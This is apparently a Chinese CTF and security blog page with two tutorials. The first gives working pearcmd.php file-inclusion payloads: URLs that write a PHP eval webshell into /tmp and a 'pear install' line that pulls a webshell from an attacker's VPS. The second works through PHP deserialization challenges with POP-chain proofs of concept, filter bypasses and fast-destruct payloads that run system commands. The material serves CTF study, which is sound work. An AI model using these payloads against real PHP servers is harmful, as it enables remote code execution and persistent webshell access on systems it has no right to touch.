Pearcmd文件包含

Pearcmd文件包含

总结一下pearcmd文件包含的利用方法,如果碰到PHP+文件包含可以往这个方向尝试一下

利用条件

  • 安装了pear扩展
  • php开启了register_argc_argv选项

Docker会默认安装pear扩展,也会自动开启register_argc_argv选项

原理

pear扩展是一个php下的命令行扩展管理工具,默认的安装路径是/usr/local/lib/php/pearcmd.php,在命令行下可以直接使用pear或者php /usr/local/lib/php/pearcmd.php运行,如果存在文件包含漏洞,则可以利用这个命令行工具

如果打开register_argc_argv这个选项的话,URL中?后面的内容会全部传入至$_SERVER['argv']这个变量内 ,无论参数中是否存在等号

pear扩展在pearcmd.php中会获取命令行参数

1
2
3
4
5
6
7
8
9
PEAR_Command::setFrontendType('CLI');
$all_commands = PEAR_Command::getCommands();

$argv = Console_Getopt::readPHPArgv();
// fix CGI sapi oddity - the -- in pear.bat/pear is not removed
if (php_sapi_name() != 'cli' && isset($argv[1]) && $argv[1] == '--') {
unset($argv[1]);
$argv = array_values($argv);
}

这里调用了readPHPArgv()函数获取命令行参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static function readPHPArgv()
{
global $argv;
if (!is_array($argv)) {
if (!@is_array($_SERVER['argv'])) {
if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
$msg = "Could not read cmd args (register_argc_argv=Off?)";
return PEAR::raiseError("Console_Getopt: " . $msg);
}
return $GLOBALS['HTTP_SERVER_VARS']['argv'];
}
return $_SERVER['argv'];
}
return $argv;
}

readPHPArgv()函数从$argv$_SERVER['argv']$GLOBALS['HTTP_SERVER_VARS']['argv']等获取变量,而$_SERVER['argv']是可控的变量。因此,可以利用pear获取通过GET方式上传的变量。

利用

使用**php:7.4-apache**这个官方镜像做测试

寻找可用的pear命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
Commands:
build Build an Extension From C Source
bundle Unpacks a Pecl Package
channel-add Add a Channel
channel-alias Specify an alias to a channel name
channel-delete Remove a Channel From the List
channel-discover Initialize a Channel from its server
channel-info Retrieve Information on a Channel
channel-login Connects and authenticates to remote channel server
channel-logout Logs out from the remote channel server
channel-update Update an Existing Channel
clear-cache Clear Web Services Cache
config-create Create a Default configuration file
config-get Show One Setting
config-help Show Information About Setting
config-set Change Setting
config-show Show All Settings
convert Convert a package.xml 1.0 to package.xml 2.0 format
cvsdiff Run a "cvs diff" for all files in a package
cvstag Set CVS Release Tag
download Download Package
download-all Downloads each available package from the default channel
info Display information about a package
install Install Package
list List Installed Packages In The Default Channel
list-all List All Packages
list-channels List Available Channels
list-files List Files In Installed Package
list-upgrades List Available Upgrades
login Connects and authenticates to remote server [Deprecated in favor of channel-login]
logout Logs out from the remote server [Deprecated in favor of channel-logout]
makerpm Builds an RPM spec file from a PEAR package
package Build Package
package-dependencies Show package dependencies
package-validate Validate Package Consistency
pickle Build PECL Package
remote-info Information About Remote Packages
remote-list List Remote Packages
run-scripts Run Post-Install Scripts bundled with a package
run-tests Run Regression Tests
search Search remote package database
shell-test Shell Script Test
sign Sign a package distribution file
svntag Set SVN Release Tag
uninstall Un-install Package
update-channels Update the Channel List
upgrade Upgrade Package
upgrade-all Upgrade All Packages [Deprecated in favor of calling upgrade with no parameters]
Usage: pear [options] command [command-options] <parameters>
Type "pear help options" to list all options.
Type "pear help shortcuts" to list all command shortcuts.
Type "pear help version" or "pear version" to list version information.
Type "pear help <command>" to get the help for the specified command.

有两种利用方法

config-create

这个命令需要两个参数

1
pear config-create /Diana /tmp/test.txt

第一个参数会被写入第二个参数所创建的文件中,我们可以利用这点写入PHP木马,然后利用文件包含漏洞包含木马文件即可

1
?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/tmp/shell.php

写一个木马即可,然后连接Webshell

1
http://127.0.0.1/?file=/tmp/shell.php

install

这个命令会尝试下载文件,可以在自己的vps上挂一个木马

1
pear install http://[vps]:[port]/muma1.php

/tmp/pear/download/目录下有一个muma1.php

修改payload,使用--installroot指定下载目录

1
?+install+--installroot+&file=/usr/local/lib/php/pearcmd.php&+http://[vps]:[port]/muma1.php

就可以实现传马了,文件目录是&file=/usr/local/lib/php/pearcmd.php\&/tmp/pear/download/muma1.php

PHP反序列化与一些例题

PHP反序列化与一些例题

反序列化函数触发条件

题目一 空变量绕过

source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
highlight_file(__FILE__);

class ease{

private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}

function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);# 2
}
}

function ping($ip){
exec($ip, $result); # 1
var_dump($result);
}

function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}

function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}

$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>

poc

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping", array("ca$@t\$IFS$9`find`"));
echo base64_encode(serialize($a));
?>

$@空变量 $IFS$9空格 find命令查看当前及子目录下的所有文件

题目二 绕过正则匹配/[oc]:\d+/i

1
2
3
4
5
if (preg_match('/[oc]:\d+:/i', $var)) { 
die('stop hacking!');
} else {
@unserialize($var);
}

利用加号绕过

1
O:+4......略

题目三 pop链

source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<?php
error_reporting(0);
//flag is in f14g.php
class Popuko {
private $No_893;
public function POP_TEAM_EPIC(){
$WEBSITE = "MANGA LIFE WIN";
}
// 1、__invoke 当以函数的方式调用对象实例的时候触发
// $this->No_893 = php://filter/read/convert.base64-encode/resource=f14g.php
public function __invoke(){
$this->append($this->No_893);
}
public function append($anti_takeshobo){
// 终点
include($anti_takeshobo);
}
}

class Pipimi{

public $pipi;
public function PIPIPMI(){
$h = "超喜欢POP子ww,你也一样对吧(举刀)";
}
public function __construct(){
echo "Pipi美永远不会生气ww";
$this->pipi = array();
}
// 2.此处当作函数执行 也就是 $this->p=new Popuko();
// __get 当访问不可访问或者不存在的属性是触发
public function __get($corepop){
$function = $this->p;
return $function();
}
}
class Goodsisters{

public function PopukoPipimi(){
$is = "Good sisters";
}

public $kiminonawa,$str;

public function __construct($file='index.php'){
$this->kiminonawa = $file;
echo 'Welcome to HNCTF2022 ,';
echo 'This is '.$this->kiminonawa."<br>";
}
// 3.此处当作访问不存在的属性(Pipimi类的) 也就是 $this->str=new Pipimi();
// Pipimi类中并不存在kiminonawa
// __toString 以字符串方式调用对象实例触发
public function __toString(){
return $this->str->kiminonawa;
}

// 4.此处$this->kiminonawa触发 $this->kiminonawa=new Goodsisters();
public function __wakeup(){
if(preg_match("/popzi|flag|cha|https|http|file|dict|ftp|pipimei|gopher|\.\./i", $this->kiminonawa)) {
echo "仲良ピース!";
$this->kiminonawa = "index.php";
}
}
}

if(isset($_GET['pop'])) @unserialize($_GET['pop']);

else{
$a=new Goodsisters;
if(isset($_GET['pop_EP']) && $_GET['pop_EP'] == "ep683045"){
highlight_file(__FILE__);
echo '欸嘿,你也喜欢pop子~对吧ww';
}
}

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
//flag is in f14g.php
class Popuko {
private $No_893;
public function __construct(){
$this -> No_893 = "php://filter/read/convert.base64-encode/resource=f14g.php";
}
}
class Pipimi{
public $p;

}
class Goodsisters{
public $kiminonawa, $str;
}
$a = new Goodsisters();
$b = new Pipimi();
$c = new Popuko();
$a -> kiminonawa = $a;
$a -> str = $b;
$b -> p = $c;
echo urlencode(serialize($a));

pop链,步步为营,触发下一个函数

题目四 字符串逃逸(增多)

source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
function waf($str){
return str_replace("bad","good",$str);
}

class GetFlag {
public $key;
public $cmd = "whoami";
public function __construct($key)
{
$this->key = $key;
}
public function __destruct()
{
system($this->cmd);
}
}
//";s:3:"cmd";s:2:"ls";}

//badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:2:"ls";}
//字符串逃逸

$b = waf(serialize(new GetFlag($key='badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}')));
unserialize($b);

每一个bad转化为good会增加一个字符的空间,可以通过waf()修改类的属性,需要增加的字符数和bad的个数相等

题目六 快速反序列化 fast __destruct()

source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
highlight_file(__FILE__);

class Start{
public $errMsg;
public function __destruct() {
die($this->errMsg);
}
}

class Pwn{
public $obj;
public function __invoke(){
$this->obj->evil();
}
public function evil() {
phpinfo();
}
}

class Reverse{
public $func;
public function __get($var) {
($this->func)();
}
}

class Web{
public $func;
public $var;
public function evil() {
if(!preg_match("/flag/i",$this->var)){
($this->func)($this->var);
}else{
echo "Not Flag";
}
}
}

class Crypto{
public $obj;
public function __toString() {
$wel = $this->obj->good;
return "NewStar";
}
}

class Misc{
public function evil() {
echo "good job but nothing";
}
}

$a = @unserialize($_POST['fast']);
throw new Exception("Nope");

pop链很清晰

1
2
3
4
5
6
7
8
$a = new Start();
$a->errMsg = new Crypto();
$a->errMsg->obj = new Reverse();
$a->errMsg->obj->func = new Pwn();
$a->errMsg->obj->func->obj = new Web();
$a->errMsg->obj->func->obj->func="system";
$a->errMsg->obj->func->obj->var="cat /fl$@ag"; // 过滤了flag 空变量绕过即可
echo serialize($a);

刚开始看题意还以为是条件竞争,写了个爆破脚本(

后来发现题目的意思是fast __destruct(), unserialize()出来的对象,如果赋值给了一个变量,那么这个对象的析构函数会到程序结束时执行,因此在这道题中无法绕过最后的异常抛出。如果单独执行unserialize()函数,那么反序列化出来的对象会在这条语句结束后立刻销毁。

这道题需要我们快速执行__destruct()函数进行命令执行,我们可以把末尾的}去掉一个

本质上,fast destruct 是因为unserialize过程中扫描器发现序列化字符串格式有误导致的提前异常退出,为了销毁之前建立的对象内存空间,会立刻调用对象的__destruct(),提前触发反序列化链条

1
O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:11:"cat /fl$@ag";}}}}}

最后的payload

1
O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:11:"cat /fl$@ag";}}}}

PHP反序列化冷知识

You need to set client_id and slot_id to show this AD unit. Please set it in _config.yml.